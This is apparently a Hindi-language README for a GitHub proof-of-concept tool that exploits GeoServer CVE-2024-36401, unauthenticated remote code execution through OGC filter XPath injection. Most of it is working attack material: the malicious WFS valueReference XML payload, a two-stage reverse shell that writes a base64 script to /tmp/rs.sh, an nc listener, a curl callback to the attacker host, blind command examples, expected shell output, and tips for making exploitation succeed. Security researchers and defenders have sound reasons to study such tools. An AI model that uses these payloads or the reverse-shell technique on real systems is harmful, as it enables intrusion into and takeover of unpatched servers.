
OGC फ़िल्टर XPath इंजेक्शन के माध्यम से GeoServer (CVE-2024-36401) के लिए अनधिकृत RCE एक्सप्लॉइट। स्वचालित संस्करण पहचान और फीचर टाइप प्रोबिंग के साथ रिवर्स शेल और ब्लाइंड कमांड निष्पादन का समर्थन करता है।
GeoServer के लिए OGC फ़िल्टर valueReference पैरामीटर इंजेक्शन (XPath/JXPath मूल्यांकन) के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE) एक्सप्लॉइट।
अस्वीकरण: यह टूल केवल अधिकृत पेनेट्रेशन परीक्षण और सुरक्षा अनुसंधान के लिए है। इसे उन सिस्टम के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति नहीं है। लेखक दुरुपयोग या इस टूल से होने वाली क्षति के लिए कोई ज़िम्मेदारी नहीं लेता है।
GeoServer भू-स्थानिक डेटा साझा करने के लिए एक ओपन-सोर्स Java सर्वर है, जो सरकारी, उद्यम और अनुसंधान वातावरणों में व्यापक रूप से तैनात है। CVE-2024-36401 एक बिना प्रमाणीकृत हमलावर को OGC (Open Geospatial Consortium) फ़िल्टर पैरामीटरों में Java एक्सप्रेशन इंजेक्ट करके होस्ट पर मनमाने OS कमांड निष्पादित करने की अनुमति देता है।
इस भेद्यता को जुलाई 2024 में सक्रिय शोषण के कारण CISA Known Exploited Vulnerabilities (KEV) कैटलॉग में जोड़ा गया था।
| ब्रांच | असुरक्षित रेंज | सुधार संस्करण |
|---|---|---|
| 2.23.x | < 2.23.6 | 2.23.6 |
| 2.24.x | < 2.24.4 | 2.24.4 |
| 2.25.x | < 2.25.2 | 2.25.2 |
GeoServer के 2.23.0 से पुराने संस्करण भी प्रभावित हो सकते हैं, लेकिन वे end-of-life हैं और परीक्षण नहीं किए गए हैं।
GeoServer OGC फ़िल्टर एक्सप्रेशन का मूल्यांकन करने के लिए GeoTools लाइब्रेरी का उपयोग करता है।
valueReference पैरामीटर (और अन्य जैसे CQL_FILTER) बिना सैनिटाइज़ेशन के
Apache Commons JXPath के JXPathContext.selectNodes() को पास किया जाता है।
JXPath निम्नलिखित जैसे एक्सप्रेशन के माध्यम से मनमाने Java मेथड को कॉल करने का समर्थन करता है:
exec(java.lang.Runtime.getRuntime(), 'id')
यह मूल्यांकन कुछ एंडपॉइंट्स के लिए प्रमाणीकरण जाँच से पहले होता है, जिससे भेद्यता पूरी तरह से बिना प्रमाणीकरण के शोषण योग्य बन जाती है।
असुरक्षित एंडपॉइंट्स:
POST /geoserver/wfs — valueReference के साथ GetPropertyValue अनुरोधGET /geoserver/ows — क्वेरी स्ट्रिंग के माध्यम से वही पैरामीटरमुख्य तकनीकी नोट: valueReference एक्सप्रेशन में कमांड स्ट्रिंग के चारों ओर सिंगल कोट्स (') का उपयोग होना चाहिए। डबल कोट्स (") XML पार्सिंग विफलताओं का कारण बनते हैं और निष्पादन को रोकते हैं — यह अन्य सार्वजनिक PoCs में एक सामान्य गलती है।
requests लाइब्रेरीsf, topp, tiger पर्याप्त हैं)git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests
या निर्भरताएँ सीधे इंस्टॉल करें:
pip3 install requests
usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
[-c CMD] [-f FEATURE]
options:
-h, --help show this help message and exit
-t, --target TARGET Target URL, e.g. http://<TARGET>:8080
-l, --lhost LHOST Your IP address for reverse shell callback
-p, --lport LPORT Listener port (default: 4444)
-c, --cmd CMD Single command to execute (no output returned)
-f, --feature FEATURE Feature type override (auto-detected if omitted)
| मोड | फ़्लैग | विवरण |
|---|---|---|
| रिवर्स शेल | -l LHOST -p LPORT | bash के माध्यम से दो-चरणीय रिवर्स शेल |
| कमांड निष्पादन | -c CMD | एकल कमांड निष्पादित करें (ब्लाइंड — कोई आउटपुट नहीं) |
| फ़ीचर टाइप ओवरराइड | -f FEATURE | ऑटो-डिटेक्शन छोड़ें, निर्दिष्ट प्रकार का उपयोग करें |
पहले एक लिसनर प्रारंभ करें:
nc -lvnp 4444
फिर एक्सप्लॉइट चलाएँ:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444
अपेक्षित आउटपुट:
_______ ________ ___ ____ ___ __ __ _____ _____ __ __ ____
/ ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ // ___// // / / __ \
/ / | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/__/ / /_/ /__ __/ /_/ /
\____/ |___/_____/ /____/\____/____/ /_/ /____/\____/ /_/ \____/
___
< /
/ /
/ /
/_/
GeoServer OGC XPath Injection RCE | CVE-2024-36401
Unauthenticated | CVSS 9.8 | Affects < 2.25.2 / 2.24.4 / 2.23.6
[*] Target : http://<TARGET>:8080
[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites
[*] Feature type : sf:archsites
[*] Listener : <LHOST>:4444
[*] Start : nc -lvnp 4444
[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener
लिसनर पर:
Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$
आउटपुट प्राप्त किए बिना एक कमांड निष्पादित करें। आउट-ऑफ-बैंड सत्यापन या फ़ाइलें डालने के लिए उपयोगी:
# Verify execution via file creation
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "touch /tmp/pwned"
# Trigger a curl callback to confirm execution
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "curl http://<LHOST>:8000/pwned"
नोट: शेल मेटाकैरेक्टर (
>,|,&,;) वाले कमांड पार्सिंग समस्याओं से बचने के लिए स्वचालित रूप से base64-एन्कोड किए जाते हैं।
यदि ऑटो-डिटेक्शन विफल हो जाता है, तो टारगेट से एक ज्ञात फ़ीचर टाइप प्रदान करें:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444 \
-f topp:states
GeoServer सैंपल डेटा के साथ शामिल सामान्य फ़ीचर टाइप:
| वर्कस्पेस | फ़ीचर टाइप |
|---|---|
sf | sf:archsites, sf:bugsites, sf:roads, sf:streams |
topp | topp:states, topp:tasmania_cities, topp:tasmania_roads |
tiger | tiger:giant_polygon, tiger:poi, tiger:tiger_roads |
cite | cite:Buildings |
एक्सप्लॉइट एक दुर्भावनापूर्ण valueReference एक्सप्रेशन के साथ GetPropertyValue WFS अनुरोध भेजता है:
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
exec(java.lang.Runtime.getRuntime(),'COMMAND')
</wfs:valueReference>
</wfs:GetPropertyValue>
रिवर्स शेल के लिए, exec() सिंगल-स्ट्रिंग आर्गुमेंट के अंदर शेल मेटाकैरेक्टर से बचने के लिए दो-चरणीय दृष्टिकोण का उपयोग किया जाता है:
चरण 1 — base64 एन्कोडिंग और शेल ब्रेस एक्सपैंशन का उपयोग करके रिवर्स शेल को /tmp/rs.sh में लिखें (exec स्ट्रिंग में कोई स्पेस नहीं):
bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}
चरण 2 — स्क्रिप्ट निष्पादित करें:
bash /tmp/rs.sh
यह दृष्टिकोण पहले exec() कॉल में शेल इंटरप्रेटर की आवश्यकता से बचाता है, जिससे यह विभिन्न सिस्टम कॉन्फ़िगरेशन में विश्वसनीय बनता है।
[-] Cannot connect to target
curl http://<TARGET>:8080/geoserver/web/[-] No usable feature type found
-f <workspace>:<type> के साथ एक कस्टम फ़ीचर टाइप निर्दिष्ट करने का प्रयास करेंcurl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"[+] Payload delivered लेकिन कोई शेल प्राप्त नहीं हुआ
LHOST:LPORT तक पहुँचने में सक्षम होना चाहिए") का उपयोग करते हैं — यह काम नहीं करता। सुनिश्चित करें कि valueReference एक्सप्रेशन के अंदर सिंगल कोट्स (') का उपयोग किया गया है।[!] Version X.X.X may be patched — attempting anyway
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है। विवरण के लिए LICENSE देखें।